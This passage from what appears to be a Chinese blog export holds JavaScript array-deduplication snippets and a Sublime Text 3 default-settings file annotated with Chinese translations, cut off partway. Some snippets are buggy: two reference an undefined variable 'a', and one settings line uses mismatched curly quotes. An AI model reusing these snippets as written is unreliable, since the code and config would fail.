b;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h5 id="使用-indexOf-方法和-filter-方法"><a href="#使用-indexOf-方法和-filter-方法" class="headerlink" title="使用 indexOf() 方法和 filter 方法"></a>使用 <code>indexOf()</code> 方法和 <code>filter</code> 方法</h5><pre><code>更进一步,不仅使用了 indexOf() 方法,还使用了 filter</code></pre><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> b = a.filter(<span class="function"><span class="keyword">function</span>(<span class="params">item,index,array</span>)</span>{</span><br><span class="line"> <span class="keyword">return</span> array.indexOf(item) === index;</span><br><span class="line"> <span class="comment">//元素首次出现的位置是否为元素当前位置</span></span><br><span class="line"> });</span><br><span class="line"> <span class="keyword">return</span> b</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h5 id="排序后去重"><a href="#排序后去重" class="headerlink" title="排序后去重"></a>排序后去重</h5><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> arr.sort()</span><br><span class="line"> <span class="keyword">var</span> b = [arr[<span class="number">0</span>]]</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i< arr.length;i++){</span><br><span class="line"> <span class="keyword">if</span>(arr[i] != b[b.length<span class="number">-1</span>]){</span><br><span class="line"> <span class="comment">//排序后查看数组的元素是否与结果数组中最后一个元素相同即可判断是否重复</span></span><br><span class="line"> b.push(arr[i])</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> b;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h5 id="排序后去重的简略写法"><a href="#排序后去重的简略写法" class="headerlink" title="排序后去重的简略写法"></a>排序后去重的简略写法</h5><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">return</span> arr.sort().filter(<span class="function"><span class="keyword">function</span>(<span class="params">item,index,array</span>)</span>{</span><br><span class="line"> <span class="keyword">return</span> !index || item != array[index<span class="number">-1</span>]</span><br><span class="line"> })</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h5 id="ES6-的数组去重"><a href="#ES6-的数组去重" class="headerlink" title="ES6 的数组去重"></a>ES6 的数组去重</h5><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//使用Set对象</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> set = <span class="keyword">new</span> <span class="built_in">Set</span>(arr);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">Array</span>.from(set);</span><br><span class="line">}</span><br><span class="line"><span class="comment">//使用Set对象的另一种方法</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="title">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">return</span> [...new <span class="built_in">Set</span>(arr)];</span><br><span class="line">}</span><br><span class="line"><span class="comment">//使用Map对象</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">distinct</span>(<span class="title">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> res = <span class="keyword">new</span> <span class="built_in">Map</span>();</span><br><span class="line"> <span class="keyword">return</span> arr.filter(<span class="function">(<span class="params">item</span>) =></span> !res.has(a) && res.set(a,<span class="number">1</span>))</span><br><span class="line">}</span><br></pre></td></tr></table></figure><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> JavaScript </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> JavaScript </tag>
<tag> 算法 </tag>
</tags>
</entry>
<entry>
<title>sublime text3 的设置项中文翻译</title>
<link href="/2016/03/20/sublime-config-translate/"/>
<url>/2016/03/20/sublime-config-translate/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p><code>sublime text3</code> 编辑器的所有设置项的中文翻译。</p><p>方便查阅和配置。</p></blockquote><a id="more"></a><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br></pre></td><td class="code"><pre><span class="line"> // While you can edit this file, it's best to put your changes in</span><br><span class="line">// "User/Preferences.sublime-settings", which overrides the settings in here.</span><br><span class="line">//</span><br><span class="line">// Settings may also be placed in file type specific options files, for</span><br><span class="line">// example, in Packages/Python/Python.sublime-settings for python files.</span><br><span class="line">{</span><br><span class="line">// Sets the colors used within the text area</span><br><span class="line">// 主题文件的路径</span><br><span class="line">"color_scheme": "Packages/Color Scheme - Default/Monokai.tmTheme",</span><br><span class="line"></span><br><span class="line">// Note that the font_face and font_size are overriden in the platform</span><br><span class="line">// specific settings file, for example, "Preferences (Linux).sublime-settings".</span><br><span class="line">// Because of this, setting them here will have no effect: you must set them</span><br><span class="line">// in your User File Preferences.</span><br><span class="line">// 设置字体和大小,必须在Settings-User里重写,这里设置没有任何效果</span><br><span class="line">"font_face": "Consolas",</span><br><span class="line">"font_size": 12,</span><br><span class="line"></span><br><span class="line">// Valid options are "no_bold", "no_italic", "no_antialias", "gray_antialias",</span><br><span class="line">// "subpixel_antialias" and "no_round" (OS X only)</span><br><span class="line">// 字体选项:no_bold不显示粗体字,no_italic不显示斜体字,no_antialias和no_antialias关闭反锯齿</span><br><span class="line">// subpixel_antialias和no_round是OS X系统独有的</span><br><span class="line">"font_options": [],</span><br><span class="line"></span><br><span class="line">// Characters that are considered to separate words</span><br><span class="line">// 在文字上双击会全选当前的内容,如果里面出现以下字符,就会被截断</span><br><span class="line">"word_separators”: “./()\”‘-:,.;~!@#$%^&*|+=[]{}`~?",</span><br><span class="line"></span><br><span class="line">// Set to false to prevent line numbers being drawn in the gutter</span><br><span class="line">// 是否显示行号</span><br><span class="line">"line_numbers": true,</span><br><span class="line"></span><br><span class="line">// Set to false to hide the gutter altogether</span><br><span class="line">// 是否显示行号边栏</span><br><span class="line">"gutter": true,</span><br><span class="line"></span><br><span class="line">// Spacing between the gutter and the text</span><br><span class="line">// 行号边栏和文字的间距</span><br><span class="line">"margin": 4,</span><br><span class="line"></span><br><span class="line">// Fold buttons are the triangles shown in the gutter to fold regions of text</span><br><span class="line">// 是否显示代码折叠按钮</span><br><span class="line">"fold_buttons": true,</span><br><span class="line"></span><br><span class="line">// Hides the fold buttons unless the mouse is over the gutter</span><br><span class="line">// 不管鼠标在不在行号边栏,代码折叠按钮一直显示</span><br><span class="line">"fade_fold_buttons": true,</span><br><span class="line"></span><br><span class="line">// Columns in which to display vertical rulers</span><br><span class="line">//列显示垂直标尺,在中括号里填入数字,宽度按字符计算</span><br><span class="line">"rulers": [],</span><br><span class="line"></span><br><span class="line">// Set to true to turn spell checking on by default</span><br><span class="line">// 是否打开拼写检查</span><br><span class="line">"spell_check": false,</span><br><span class="line"></span><br><span class="line">// The number of spaces a tab is considered equal to</span><br><span class="line">// Tab键制表符宽度</span><br><span class="line">"tab_size": 4,</span><br><span class="line"></span><br><span class="line">// Set to true to insert spaces when tab is pressed</span><br><span class="line">// 设为true时,缩进和遇到Tab键时使用空格替代</span><br><span class="line">"translate_tabs_to_spaces": false,</span><br><span class="line"></span><br><span class="line">// If translate_tabs_to_spaces is true, use_tab_stops will make tab and</span><br><span class="line">// backspace insert/delete up to the next tabstop</span><br><span class="line">// translate_tabs_to_spaces设置为true,Tab和Backspace的删除/插入作用于制表符宽度</span><br><span class="line">// 否则作用于单个空格</span><br><span class="line">"use_tab_stops": true,</span><br><span class="line"></span><br><span class="line">// Set to false to disable detection of tabs vs. spaces on load</span><br><span class="line">// false时禁止在载入的时候检测制表符和空格</span><br><span class="line">"detect_indentation": true,</span><br><span class="line"></span><br><span class="line">// Calculates indentation automatically when pressing enter</span><br><span class="line">// 按回车时,自动与制表位对齐</span><br><span class="line">"auto_indent": true,</span><br><span class="line"></span><br><span class="line">// Makes auto indent a little smarter, e.g., by indenting the next line</span><br><span class="line">// after an if statement in C. Requires auto_indent to be enabled.</span><br><span class="line">//针对C语言的</span><br><span class="line">"smart_indent": false,</span><br><span class="line"></span><br><span class="line">// Adds whitespace up to the first open bracket when indenting. Requires</span><br><span class="line">// auto_indent to be enabled.</span><br><span class="line">// 需要启用auto_indent,第一次打开括号缩进时插入空格?(没测试出来效果...)</span><br><span class="line">"indent_to_bracket": true,</span><br><span class="line"></span><br><span class="line">// Trims white space added by auto_indent when moving the caret off the</span><br><span class="line">// line.</span><br><span class="line">// 显示对齐的白线是否根据回车、tab等操作自动填补</span><br><span class="line">"trim_automatic_white_space": true,</span><br><span class="line"></span><br><span class="line">// Disables horizontal scrolling if enabled.</span><br><span class="line">// May be set to true, false, or "auto", where it will be disabled for</span><br><span class="line">// source code, and otherwise enabled.</span><br><span class="line">// 是否自动换行,如果选auto,需要加双引号</span><br><span class="line">"word_wrap": false,</span><br><span class="line"></span><br><span class="line">// Set to a value other than 0 to force wrapping at that column rather than the</span><br><span class="line">// window width</span><br><span class="line">// 设置窗口内文字区域的宽度</span><br><span class="line">"wrap_width": 0,</span><br><span class="line"></span><br><span class="line">// Set to false to prevent word wrapped lines from being indented to the same</span><br><span class="line">// level</span><br><span class="line">// 防止被缩进到同一级的字换行</span><br><span class="line">"indent_subsequent_lines": true,</span><br><span class="line"></span><br><span class="line">// Draws text centered in the window rather than left aligned</span><br><span class="line">// 如果没有定义过,则文件居中显示(比如新建的文件)</span><br><span class="line">"draw_centered": false,</span><br><span class="line"></span><br><span class="line">// Controls auto pairing of quotes, brackets etc</span><br><span class="line">// 自动匹配引号,括号等</span><br><span class="line">"auto_match_enabled": true,</span><br><span class="line"></span><br><span class="line">// Word list to use for spell checking</span><br><span class="line">// 拼写检查的单词列表路径</span><br><span class="line">"dictionary": "Packages/Language - English/en_US.dic",</span><br><span class="line"></span><br><span class="line">// Set to true to draw a border around the visible rectangle on the minimap.</span><br><span class="line">// The color of the border will be determined by the "minimapBorder" key in</span><br><span class="line">// the color scheme</span><br><span class="line">// 代码地图的可视区域部分是否加上边框,边框的颜色可在配色方案上加入minimapBorder键</span><br><span class="line">"draw_minimap_border": false,</span><br><span class="line"></span><br><span class="line">// If enabled, will highlight any line with a caret</span><br><span class="line">// 突出显示当前光标所在的行</span><br><span class="line">"highlight_line": false,</span><br><span class="line"></span><br><span class="line">// Valid values are "smooth", "phase", "blink", "wide" and "solid".</span><br><span class="line">// 设置光标闪动方式</span><br><span class="line">"caret_style": "smooth",</span><br><span class="line"></span><br><span class="line">// Set to false to disable underlining the brackets surrounding the caret</span><br><span class="line">// 是否特殊显示当前光标所在的括号、代码头尾闭合标记</span><br><span class="line">"match_brackets": true,</span><br><span class="line"></span><br><span class="line">// Set to false if you'd rather only highlight the brackets when the caret is</span><br><span class="line">// next to one</span><br><span class="line">// 设为false时,只有光标在括号或头尾闭合标记的两端时,match_brackets才生效</span><br><span class="line">"match_brackets_content": true,</span><br><span class="line"></span><br><span class="line">// Set to false to not highlight square brackets. This only takes effect if</span><br><span class="line">// match_brackets is true</span><br><span class="line">// 是否突出显示圆括号,match_brackets为true生效</span><br><span class="line">"match_brackets_square": false,</span><br><span class="line"></span><br><span class="line">// Set to false to not highlight curly brackets. This only takes effect if</span><br><span class="line">// match_brackets is true</span><br><span class="line">// 是否突出显示大括号,match_brackets为true生效</span><br><span class="line">"match_brackets_braces": false,</span><br><span class="line"></span><br><span class="line">// Set to false to not highlight angle brackets. This only takes effect if</span><br><span class="line">// match_brackets is true</span><br><span class="line">// 是否突出显示尖括号,match_brackets为true生效</span><br><span class="line">"match_brackets_angle": false,</span><br><span class="line"></span><br><span class="line">// Enable visualization of the matching tag in HTML and XML</span><br><span class="line">// html和xml下突出显示光标所在标签的两端,影响HTML、XML、CSS等</span><br><span class="line">"match_tags": true,</span><br><span class="line"></span><br><span class="line">// Highlights other occurrences of the currently selected text</span><br><span class="line">// 全文突出显示和当前选中字符相同的字符</span><br><span class="line">"match_selection": true,</span><br><span class="line"></span><br><span class="line">// Additional spacing at the top of each line, in pixels</span><br><span class="line">// 设置每一行到顶部,以像素为单位的间距,效果相当于行距</span><br><span class="line">"line_padding_top": 1,</span><br><span class="line"></span><br><span class="line">// Additional spacing at the bottom of each line, in pixels</span><br><span class="line">// 设置每一行到底部,以像素为单位的间距,效果相当于行距</span><br><span class="line">"line_padding_bottom": 1,</span><br><span class="line"></span><br><span class="line">// Set to false to disable scrolling past the end of the buffer.</span><br><span class="line">// On OS X, this value is overridden in the platform specific settings, so</span><br><span class="line">// you'll need to place this line in your user settings to override it.</span><br><span class="line">// 设置为false时,滚动到文本的最下方时,没有缓冲区</span><br><span class="line">"scroll_past_end": true,</span><br><span class="line"></span><br><span class="line">// This controls what happens when pressing up or down when on the first</span><br><span class="line">// or last line.</span><br><span class="line">// On OS X, this value is overridden in the platform specific settings, so</span><br><span class="line">// you'll need to place this line in your user settings to override it.</span><br><span class="line">// 设置成true,当光标已经在第一行时,再Up则到行首,如果光标已经在最后一行,再Down则跳到行尾</span><br><span class="line">"move_to_limit_on_up_down": false,</span><br><span class="line"></span><br><span class="line">// Set to "none" to turn off drawing white space, "selection" to draw only the</span><br><span class="line">// white space within the selection, and "all" to draw all white space</span><br><span class="line">// 按space或tab时,实际会产生白色的点(一个空格一个点)或白色的横线(tab_size设置的制表符的宽度),选中状态下才能看到</span><br><span class="line">// 设置为none时,什么情况下都不显示这些点和线</span><br><span class="line">// 设置为selection时,只显示选中状态下的点和线</span><br><span class="line">// 设置为all时,则一直显示</span><br><span class="line">"draw_white_space": "selection",</span><br><span class="line"></span><br><span class="line">// Set to false to turn off the indentation guides.</span><br><span class="line">// The color and width of the indent guides may be customized by editing</span><br><span class="line">// the corresponding .tmTheme file, and specifying the colors "guide",</span><br><span class="line">// "activeGuide" and "stackGuide"</span><br><span class="line">// 制表位的对齐白线是否显示,颜色可在主题文件里设置(guide,activeGuide,stackGuide)</span><br><span class="line">"draw_indent_guides": true,</span><br><span class="line"></span><br><span class="line">// Controls how the indent guides are drawn, valid options are</span><br><span class="line">// "draw_normal" and "draw_active". draw_active will draw the indent</span><br><span class="line">// guides containing the caret in a different color.</span><br><span class="line">// 制表位的对齐白线,draw_normal为一直显示,draw_active为只显示当前光标所在的代码控制域</span><br><span class="line">"indent_guide_options": ["draw_normal"],</span><br><span class="line"></span><br><span class="line">// Set to true to removing trailing white space on save</span><br><span class="line">// 为true时,保存文件时会删除每行结束后多余的空格</span><br><span class="line">"trim_trailing_white_space_on_save": false,</span><br><span class="line"></span><br><span class="line">// Set to true to ensure the last line of the file ends in a newline</span><br><span class="line">// character when saving</span><br><span class="line">// 为true时,保存文件时光标会在文件的最后向下换一行</span><br><span class="line">"ensure_newline_at_eof_on_save": false,</span><br><span class="line"></span><br><span class="line">// Set to true to automatically save files when switching to a different file</span><br><span class="line">// or application</span><br><span class="line">// 切换到其它文件标签或点击其它非本软件区域,文件自动保存</span><br><span class="line">"save_on_focus_lost": false,</span><br><span class="line"></span><br><span class="line">// The encoding to use when the encoding can't be determined automatically.</span><br><span class="line">// ASCII, UTF-8 and UTF-16 encodings will be automatically detected.</span><br><span class="line">// 编码时不能自动检测编码时,将自动检测ASCII, UTF-8 和 UTF-16</span><br><span class="line">"fallback_encoding": "Western (Windows 1252)",</span><br><span class="line"></span><br><span class="line">// Encoding used when saving new files, and files opened with an undefined</span><br><span class="line">// encoding (e.g., plain ascii files). If a file is opened with a specific</span><br><span class="line">// encoding (either detected or given explicitly), this setting will be</span><br><span class="line">// ignored, and the file will be saved with the encoding it was opened</span><br><span class="line">// with.</span><br><span class="line">// 默认编码格式</span><br><span class="line">"default_encoding": "UTF-8",</span><br><span class="line"></span><br><span class="line">// Files containing null bytes are opened as hexadecimal by default</span><br><span class="line">// 包含空字节的文件被打开默认为十六进制</span><br><span class="line">"enable_hexadecimal_encoding": true,</span><br><span class="line"></span><br><span class="line">// Determines what character(s) are used to terminate each line in new files.</span><br><span class="line">// Valid values are 'system' (whatever the OS uses), 'windows' (CRLF) and</span><br><span class="line">// 'unix' (LF only).</span><br><span class="line">// 每一行结束的时候用什么字符做终止符</span><br><span class="line">"default_line_ending": "system",</span><br><span class="line"></span><br><span class="line">// When enabled, pressing tab will insert the best matching completion.</span><br><span class="line">// When disabled, tab will only trigger snippets or insert a tab.</span><br><span class="line">// Shift+tab can be used to insert an explicit tab when tab_completion is</span><br><span class="line">// enabled.</span><br><span class="line">// 设置为enabled时,在一个字符串间按Tab将插入一个制表符</span><br><span class="line">// 设置为true时,按Tab会根据前后环境进行代码自动匹配填补</span><br><span class="line">"tab_completion": true,</span><br><span class="line"></span><br><span class="line">// Enable auto complete to be triggered automatically when typing.</span><br><span class="line">// 代码提示</span><br><span class="line">"auto_complete": true,</span><br><span class="line"></span><br><span class="line">// The maximum file size where auto complete will be automatically triggered.</span><br><span class="line">// 代码提示的大小限制</span><br><span class="line">"auto_complete_size_limit": 4194304,</span><br><span class="line"></span><br><span class="line">// The delay, in ms, before the auto complete window is shown after typing</span><br><span class="line">// 代码提示延迟显示</span><br><span class="line">"auto_complete_delay": 50,</span><br><span class="line"></span><br><span class="line">// Controls what scopes auto complete will be triggered in</span><br><span class="line">// 代码提示的控制范围</span><br><span class="line">"auto_complete_selector": "source - comment",</span><br><span class="line"></span><br><span class="line">// Additional situations to trigger auto complete</span><br><span class="line">// 触发代码提示的其他情况</span><br><span class="line">"auto_complete_triggers": [ {"selector": "text.html", "characters": "<"} ],</span><br><span class="line"></span><br><span class="line">// By default, auto complete will commit the current completion on enter.</span><br><span class="line">// This setting can be used to make it complete on tab instead.</span><br><span class="line">// Completing on tab is generally a superior option, as it removes</span><br><span class="line">// ambiguity between committing the completion and inserting a newline.</span><br><span class="line">// 设为false时,选择提示的代码按回车或点击可以输出出来,但选择true时不会输出而是直接换行</span><br><span class="line">"auto_complete_commit_on_tab": false,</span><br><span class="line"></span><br><span class="line">// Controls if auto complete is shown when snippet fields are active.</span><br><span class="line">// Only relevant if auto_complete_commit_on_tab is true.</span><br><span class="line">// auto_complete_commit_on_tab必须为true,控制代码提示的活跃度(没明白...)</span><br><span class="line">"auto_complete_with_fields": false,</span><br><span class="line"></span><br><span class="line">// By default, shift+tab will only unindent if the selection spans</span><br><span class="line">// multiple lines. When pressing shift+tab at other times, it'll insert a</span><br><span class="line">// tab character - this allows tabs to be inserted when tab_completion is</span><br><span class="line">// enabled. Set this to true to make shift+tab always unindent, instead of</span><br><span class="line">// inserting tabs.</span><br><span class="line">// 设置为false,使用Shift + tab总是插入制表符</span><br><span class="line">"shift_tab_unindent": true,</span><br><span class="line"></span><br><span class="line">// If true, the selected text will be copied into the find panel when it's</span><br><span class="line">// shown.</span><br><span class="line">// On OS X, this value is overridden in the platform specific settings, so</span><br><span class="line">// you'll need to place this line in your user settings to override it.</span><br><span class="line">// 选中的文本按Ctrl + f时,自动复制到查找面板的文本框里</span><br><span class="line">"find_selected_text": true,</span><br><span class="line"></span><br><span class="line">//</span><br><span class="line">// User Interface Settings</span><br><span class="line">//</span><br><span class="line"></span><br><span class="line">// The theme controls the look of Sublime Text's UI (buttons, tabs, scroll bars, etc)</span><br><span class="line">// DataPackagesTheme - DefaultDefault.sublime-theme控制软件的主题</span><br><span class="line">"theme": "Default.sublime-theme",</span><br><span class="line"></span><br><span class="line">// Set to 0 to disable smooth scrolling. Set to a value between 0 and 1 to</span><br><span class="line">// scroll slower, or set to larger than 1 to scroll faster</span><br><span class="line">// 滚动的速度</span><br><span class="line">"scroll_speed": 1.0,</span><br><span class="line"></span><br><span class="line">// Controls side bar animation when expanding or collapsing folders</span><br><span class="line">// 左边边栏文件夹动画</span><br><span class="line">"tree_animation_enabled": true,</span><br><span class="line">// 标签页的关闭按钮</span><br><span class="line">"show_tab_close_buttons": true,</span><br><span class="line"></span><br><span class="line">// OS X 10.7 only: Set to true to disable Lion style full screen support.</span><br><span class="line">// Sublime Text must be restarted for this to take effect.</span><br><span class="line">// 针对OS X</span><br><span class="line">"use_simple_full_screen": false,</span><br><span class="line"></span><br><span class="line">// Valid values are "system", "enabled" and "disabled"</span><br><span class="line">// 水平垂直滚动条:system和disabled为默认显示方式,enabled为自动隐藏显示</span><br><span class="line">"overlay_scroll_bars": "system",</span><br><span class="line"></span><br><span class="line">//</span><br><span class="line">// Application Behavior Settings</span><br><span class="line">//</span><br><span class="line"></span><br><span class="line">// Exiting the application with hot_exit enabled will cause it to 